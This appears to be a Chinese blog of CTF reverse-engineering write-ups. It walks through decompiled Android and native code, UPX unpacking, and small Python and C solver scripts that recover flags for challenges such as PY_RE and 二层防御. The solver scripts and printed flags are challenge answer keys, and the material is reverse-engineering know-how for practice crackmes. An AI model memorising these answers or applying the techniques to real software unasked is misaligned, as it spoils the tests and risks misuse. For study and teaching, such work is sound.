/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
this.edit_sn = (EditText) findViewById(R.id.editText1);
this.btn_reg = (Button) findViewById(R.id.button1);
initClickEvent();
}

/* JADX INFO: Access modifiers changed from: private */
public SecretKey generateKey(String str) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException {
SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("DES");
DESKeySpec dESKeySpec = new DESKeySpec(str.getBytes());
secretKeyFactory.generateSecret(dESKeySpec);
return secretKeyFactory.generateSecret(dESKeySpec);
}

static String encode(byte[] bArr) {
boolean z;
char[] cArr = new char[((bArr.length + 2) / 3) * 4];
int i = 0;
int i2 = 0;
while (i < bArr.length) {
int i3 = (bArr[i] & 255) << 8;
int i4 = i + 1;
boolean z2 = true;
if (i4 < bArr.length) {
i3 |= bArr[i4] & 255;
z = true;
} else {
z = false;
}
int i5 = i3 << 8;
int i6 = i + 2;
if (i6 < bArr.length) {
i5 |= bArr[i6] & 255;
} else {
z2 = false;
}
int i7 = i2 + 3;
char[] cArr2 = alphabet;
int i8 = 64;
cArr[i7] = cArr2[z2 ? i5 & 63 : 64];
int i9 = i5 >> 6;
int i10 = i2 + 2;
if (z) {
i8 = i9 & 63;
}
cArr[i10] = cArr2[i8];
int i11 = i9 >> 6;
cArr[i2 + 1] = cArr2[i11 & 63];
cArr[i2 + 0] = cArr2[(i11 >> 6) & 63];
i += 3;
i2 += 4;
}
return new String(cArr);
}

private void initClickEvent() {
this.btn_reg.setOnClickListener(new View.OnClickListener() { // from class: com.example.myapplication.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String obj = MainActivity.this.edit_sn.getText().toString();
try {
Cipher cipher = Cipher.getInstance("DES");
try {
cipher.init(1, MainActivity.this.generateKey("123!@#zaqXSWqwer"));
} catch (InvalidKeyException e) {
e.printStackTrace();
} catch (InvalidKeySpecException e2) {
e2.printStackTrace();
}
try {
byte[] doFinal = cipher.doFinal("64781852".getBytes());
Log.i("eeeeeeeee", "Total:" + doFinal);
String encode = MainActivity.encode(doFinal);
Log.i("des", "Total:" + encode);
} catch (BadPaddingException e3) {
e3.printStackTrace();
} catch (IllegalBlockSizeException e4) {
e4.printStackTrace();
}
} catch (NoSuchAlgorithmException e5) {
e5.printStackTrace();
} catch (NoSuchPaddingException e6) {
e6.printStackTrace();
}
try {
MainActivity.this.openFileInput("test.txt");
} catch (FileNotFoundException e7) {
e7.printStackTrace();
}
if (obj.length() < 6) {
Toast.makeText(MainActivity.this, "flag长度不够", 0).show();
return;
}
String copyValueOf = String.copyValueOf(obj.toCharArray(), 5, obj.length() - 6);
Log.i("源", "Total:" + copyValueOf);
String Judge = MainActivity.Judge(obj);
Log.i("后", "Total:" + Judge);
if (Judge.equals("success")) {
Toast.makeText(MainActivity.this, "flag正确", 0).show();
} else {
Toast.makeText(MainActivity.this, "flag错误", 0).show();
}
}
});
}
}

image-20241223162905218

拆包,点进.so文件康康,找到主要加密逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
int __cdecl sub_650(int *a1, int a2, int a3)
{
const char *v3; // eax
size_t v4; // esi
const char *v5; // edi
int *v6; // edx
int v7; // eax
char *v8; // ecx
char v10[9]; // [esp+1Ah] [ebp-B2h] BYREF
int v11; // [esp+23h] [ebp-A9h]
int v12; // [esp+27h] [ebp-A5h]
int v13; // [esp+2Bh] [ebp-A1h]
int v14; // [esp+2Fh] [ebp-9Dh]
int v15; // [esp+33h] [ebp-99h]
int v16; // [esp+37h] [ebp-95h]
int v17; // [esp+3Bh] [ebp-91h]
int v18; // [esp+3Fh] [ebp-8Dh]
char v19; // [esp+43h] [ebp-89h]
int v20; // [esp+44h] [ebp-88h]
int v21; // [esp+48h] [ebp-84h]
_QWORD v22[6]; // [esp+4Ch] [ebp-80h] BYREF
__int16 v23; // [esp+7Ch] [ebp-50h]
char dest[16]; // [esp+80h] [ebp-4Ch] BYREF
__int128 v25; // [esp+90h] [ebp-3Ch]
__int128 v26; // [esp+A0h] [ebp-2Ch]
__int16 v27; // [esp+B0h] [ebp-1Ch]

v3 = (*(*a1 + 676))(a1, a3, 0);
v26 = 0LL;
v25 = 0LL;
*dest = 0LL;
v27 = 0;
v23 = 0;
memset(&v22[1], 0, 40);
v22[0] = 0x73736563637573LL;
v11 = 0;
v10[6] = 0;
*&v10[7] = 0;
v13 = 0;
v12 = 0;
v15 = 0;
v14 = 0;
v17 = 0;
v16 = 0;
v19 = 0;
v18 = 0;
v21 = 0;
v20 = 0;
strcpy(v10, "false");
strcpy(dest, v3);
if ( strlen(a3p) )
{
v4 = 0;
v5 = a3p;
while ( byte_8F8[dest[v4]] - (5 * (v4 / 5) + 4 == v4) == *v5 )
{
++v4;
++v5;
if ( v4 >= strlen(a3p) )
goto LABEL_5;
}
v6 = a1;
v7 = *a1;
v8 = v10;
}
else
{
LABEL_5:
v6 = a1;
v7 = *a1;
v8 = v22;
}
return (*(v7 + 668))(v6, v8);
}

思路:

  1. 取出a3p数组;
  2. char a3p[50] = {0x33,0x50,0xef,0x85,0x20,0xd6,0x9d,0x8f,0x92,0xce,0x5a,0xf9,0x40,0x8f,0x91,0xcf,0x20,0x40,0xb6,0xfe};
  3. 循环遍历a3p数组,当下标i满足5 * (i/ 5) + 4 == i时,将对应下标的值加一;
  4. 然后再根据a3p数组中的值去找byte_8F8对应值的下标。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdio.h>
#include<string.h>


unsigned char sbox[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,
0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,
0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,
0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,
0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,
0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,
0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,
0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,
0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,
0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,
0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,
0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,
0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,
0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,
0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,
0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,
0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
};

int main()
{
unsigned char a3p[50] = { 0x33,0x50,0xef,0x85,0x20,0xd6,0x9d,0x8f,0x92,0xce,0x5a,0xf9,0x40,0x8f,0x91,0xcf,0x20,0x40,0xb6,0xfe };
char result[50] = { 0 };
for (int i = 0; i < strlen((char*)a3p); i++)
{
if (5 * (i / 5) + 4 == i)
{
a3p[i] = a3p[i] + 1;
}

for (int j = 0; j < 256; j++)
{
if (sbox[j] == a3p[i])
{
result[i] = j;
}
}
}
printf("%s\n", result);
}

Sign Up

2024.24

64位无壳

打开之后看一眼主要逻辑

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
_main();
Input_Data(); ///输入
Check_Data();///check
return 0;
}

找一下账号密码

image-20241224143124830

比较明显的。点进去就可以看见了

只不过我们输入的时候要注意有个等式的条件,我们输入的是前面的,进行相应的变换就行了喔

192168109–>>>081057009

root–>>>pmmr

image-20241224143359017

081057009pmmr—>>>flag{aa07caa2ff9e5b774bfca3b1f20c3ea0}

最短路

2024.12.24

怎么说呢?

image-20241224151904989

感谢GPT

image-20241224151922404

flag{4991ce1781b53409a7a84e2baf9431d6}

easyre1

直接ida打开康康

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
__isoc99_scanf("%s", flag);
enkey();
reduce();
check();
return 0;
}

两层加密应该是直接逆即可

1
2
3
4
5
6
7
8
9
int enkey()
{
int i; // [esp+Ch] [ebp-4h]

for ( i = 0; i <= 31; ++i )
*(i + 0x804A0A0) ^= *(i + 0x804A040);
return 0;
}
//这里换成16进制就可以发现他是有对应地址的

image-20241224185712732

但是逆向的话,得先进reduce、enkey

直接贴exp了

1
2
3
4
5
6
7
8
9
key='5055045045055045055045055045055'
flag='d^XSAozQPU^WOBU[VQOATZSE@AZZVOF'

print(len(flag))
for i in range(len(flag)):
flag1=ord(flag[i])+1
key1=ord(key[i])
print(chr(flag1^key1),end='')

babyRE

2024.12.25

64位,无壳

1
2
3
4
5
6
a='asdfgcvbnmjgtlop'

flag = ''
for i in range(len(a)):
flag += chr((ord(a[i])+2))
print(flag)

PY_RE

2024.12.26

打开是两个py文件

分别分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#Test.py
def EnData1(Input_Str,Dict):
for i in range(int(len(Input_Str)/2),len(Input_Str)):
for dict in Dict:
if Input_Str[i] == str(dict):
Input_Str[i] = Dict[dict]
break
def Judge(Input_Str):
FLAG = ['H', 'E', 'L', 'L', 'O', '_', '_', 11, 2, 7, 19, 12, 13]
if str(Input_Str) == str(FLAG):
print("YES!")
else:
print("NO!")
all_data = []
def EnData(Input_Str,Dict):
for i in range(int(len(Input_Str)/2),len(Input_Str)):
flag = 0
for dict in Dict:
if Input_Str[i] == dict:
all_data.append(Dict[dict])
flag = 1
if flag == 0:
all_data.append(Input_Str[i])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#start
import Test
Dict = {}
key = 'A'
value = 26
for i in range(1,27):
Dict.setdefault(key, value)
key = chr(ord(key) + 1)
value = value - 1
print("===================Py_Reverse====================")


#print(Dict)
def main():
Input_Str = input("Please Input Str:\n")
Input_Str = list(Input_Str)
Test.EnData1(Input_Str,Dict)
Test.Judge(Input_Str)
main()

image-20241226141458377

image-20241226141509457

看上面的那个就很明显了,先初始化字典,得到26字母的转义字符后,在进行验证即可,这里验证的是flag的后半段。

这里直接打印字典即可得到转义后的字符

image-20241226141929642

一一对应即可 11(P), 2(Y), 7(T),19(H), 12(O),13(N)

HELLO__PYTHON

之后md5加密即可

二层防御

2024.12.26

看名字就是脱壳的呗

image-20241226142544092

upx脱一层

image-20241226142722258

没啥说的,脱完了?就直接?
ida打开康康。找到加密逻辑,看到密文

image-20241226143006825

其实动调跑完一遍就知道他说的二层防御其实就是对密文进行了两次加密,而不是指加壳。

看一下主体逻辑:

image-20241226144450649

最主要的加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall sub122(int a1)
{
char v2; // [rsp+2Bh] [rbp-5h]
int i; // [rsp+2Ch] [rbp-4h]

for ( i = 1; a1 / 2 > i; ++i )
{
v2 = str[i];
str[i] = str[a1 - i - 1];
str[a1 - i - 1] = v2;
}
return sub133();
}


__int64 sub133(void)
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

v1 = 1;
x1 = j;
while ( 1 )
{
result = (x - 1);
if ( result == v1 )
break;
str[v1] ^= x1;
--str[v1++];
}
return result;
}

卡半天,发现这里是不对an进行变换的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
flag = "llo_PWN "
flag2 = ""
#flag2 +="'"
#注意范围 是 [1 , n - 2],两边全是闭合的。
#让每个字符串 + 1
for i in range(len(flag)):
flag2 += chr((ord(flag[i]) + 1)^8)
#flag2 +="n"
print(flag2)

src=[ 101,101,120,104,89,80,71,41]


for i in range(len(src)-1,-1,-1):
print(chr(src[i]),end="")

a)GPYhxeen

md5加密即可